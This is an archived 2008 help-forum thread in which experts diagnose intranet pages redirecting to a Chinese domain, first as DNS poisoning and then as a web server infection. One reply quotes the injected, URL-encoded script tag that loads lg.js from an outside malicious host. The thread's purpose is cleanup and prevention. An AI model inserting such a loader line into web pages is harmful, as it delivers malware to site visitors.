Question

Web pages are being redirected

Asked by: afsaleh

Hi All,
It seems that our web pages are being redirected toe http://www.365http.cn/tt/logo.htm every time the users try to access a n intranet site.

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Asked On
2008-10-27 at 09:58:34ID23851194
Tags

microsoft

,

internet explorer

,

xp, sp2

Topics

Web Application Hosting

,

Microsoft IIS Web Server

,

Apache Web Server

Participating Experts
3
Points
400
Comments
27

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Answers

 

by: mrwalker15Posted on 2008-10-27 at 09:59:46ID: 22814423

Your DNS cache has been poisoned. Clear the DNS cache from all your DNS servers.

 

by: AncientFribPosted on 2008-10-27 at 10:02:48ID: 22814453

Ensure there aren't any bad entries for the intranet DNS record on your DNS server.  Run from the command prompt: IPconfig /flushdns on your DNS servers and clients.  Good luck.

 

by: afsalehPosted on 2008-10-27 at 10:30:57ID: 22814722

How can I clear the dns cache on dns servers

 

by: afsalehPosted on 2008-10-27 at 10:37:33ID: 22814791

Tried running ipconfig /flushdns on both clients and dns servers, but did not work

 

by: hfraserPosted on 2008-10-27 at 10:39:14ID: 22814805

Make sure you flush the caches on both your internal DNS server, and your firewall's DNS server. Either or both could be poisoned.

If you have the opportunity, you can dump the DNS server's caches before flushing them to check for poisoning. Also, current releases of DNS servers should be resistant to DNS poisoning, so make sure your DNS server is an up-to-date release. If it got poisoned once, it can happen again unless you change something to prevent it.

 

by: mrwalker15Posted on 2008-10-27 at 10:43:31ID: 22814845

Are you using Microsoft DNS Servers? If so, go to DNS mmc console.

Add or select (highlight it) the server. Right-click and select Clear DNS cache.

 

by: mrwalker15Posted on 2008-10-27 at 10:45:35ID: 22814862

To help prevent cache poisoning. Under DNS mmc console.

Select the server

Right-click Properties > Advanced tab

Make sure "Secure cache against pollution" option is set.

Also, if you have a proxy server you may need to clear the cache there too.

 

by: afsalehPosted on 2008-10-27 at 11:18:22ID: 22815187

tried cleaning cache on the dns server, but problem remains

 

by: mrwalker15Posted on 2008-10-27 at 11:21:49ID: 22815222

Can you post the source code of the webpage in the picture?

 

by: hfraserPosted on 2008-10-27 at 11:22:52ID: 22815235

Let's verify DNS is actually the issue. From a command shell, do an nslookup for one of your intranet sites that users are having trouble with. What is the response?

 

by: afsalehPosted on 2008-10-27 at 12:44:53ID: 22816039

When doing nslookup on a local intranet site, the result is the name of the dns servcer.com and its ip address.

 

by: hfraserPosted on 2008-10-27 at 14:11:30ID: 22816939

You should see something like

Server:            192.168.1.1
Address:      192.168.1.1#53

Name:      www.domain.com
Address: 192.168.1.2

If you resolve an address on the Internet against your DNS server, you should see something like:

nslookup www.google.com
Server:            192.168.1.1
Address:      192.168.1.1#53

Non-authoritative answer:
www.google.com      canonical name = www.l.google.com.
Name:      www.l.google.com
Address: 72.14.205.99
Name:      www.l.google.com
Address: 72.14.205.104
Name:      www.l.google.com
Address: 72.14.205.147
Name:      www.l.google.com
Address: 72.14.205.103

The difference is that you're not the authoritative source for www.google.com

Is this not similar to what you see?

 

by: mrwalker15Posted on 2008-10-27 at 14:58:18ID: 22817315

Can you post the source code of the webpage.

 

by: afsalehPosted on 2008-10-28 at 04:07:57ID: 22820379

When doing the nslookup , I do see the same info as you have displayed  with the exception of the port #.
The first line will refer to the domain controller /dns controller  /wins server, while the second line refer to the actual application server.

Also please find attached the source code for the webpage.

Thanks

 

by: mrwalker15Posted on 2008-10-28 at 06:17:43ID: 22821378

Your webpage was hacked.

Please remove the top line.
<script language=javascript src=http://%77%2E%63%38%38%6A%2E%63%6E/lg.js></script>

That points to w.c88j.cn/lg.js

 

by: afsalehPosted on 2008-10-28 at 06:27:14ID: 22821459

I did remove this line fron the script , under view source. It keeps coming back

 

by: mrwalker15Posted on 2008-10-28 at 06:38:25ID: 22821603

You need to scan your web server for malware. it must have a process rewriting the line to the web page everytime you update it.
make sure you have all the latest patches available installed as well.

 

by: afsalehPosted on 2008-10-28 at 06:46:33ID: 22821670

What is the best scaner for this job. tried few , but none of them seems to work

 

by: mrwalker15Posted on 2008-10-28 at 06:52:13ID: 22821717

What is your web server?

 

by: afsalehPosted on 2008-10-28 at 06:55:13ID: 22821750

windows 2000 sp4

 

by: mrwalker15Posted on 2008-10-28 at 06:58:00ID: 22821773

I would recommend Karspersky AV, spybot search and destroy. Secunia software advisor.

Patch everything UP straight away. if possible, turn off external access as this server is infected.

And run away from Windows 2000. It is a security hole!

 

by: afsalehPosted on 2008-10-28 at 09:38:10ID: 22823609

ran spybot on th eserver and on the clients. Did not find any thing. The application will run fine on the server, but gets hijacked on the clients.

 

by: mrwalker15Posted on 2008-10-28 at 10:06:03ID: 22823882

Ok, it seems that this is a code injection via ARP spoofing.

Can you see in the IIS logs if users are actually connecting to IIS to browse the webpage?

 

by: hfraserPosted on 2008-10-28 at 23:36:48ID: 22828877

This is a virus wit a payload that downloads a bunch of other code. I'f you've viewed this page from a browser on your web server, it's infect as well as the clients that view the page.

Shut down the web server before anything else gets infected. This isn't spyware. It's a virus/trojan. As mrwalker15 mentioned, run an anti-virus on the server and the clients. It's recognized by all the major ones. Check out:

http://virscan.org/report/00406cc94d36b929bb659b0241e2219b.html

to make sure your AV is up-to-date for this virus.

 

by: afsalehPosted on 2008-10-31 at 07:39:26ID: 22850544

That works, thanks

 

by: mrwalker15Posted on 2008-10-31 at 08:19:38ID: 22850993

Hi afsaleh,

What did actually work?

 

by: afsalehPosted on 2008-10-31 at 09:12:58ID: 22851584

Ran sybot on both server and clients in safe mode. Also patched the server and clients with latest security patches.
After the rebooting to normal mode, flushed the dns buffer on both server and cloient, and re-installed the ie browser.

20120131-EE-VQP-002

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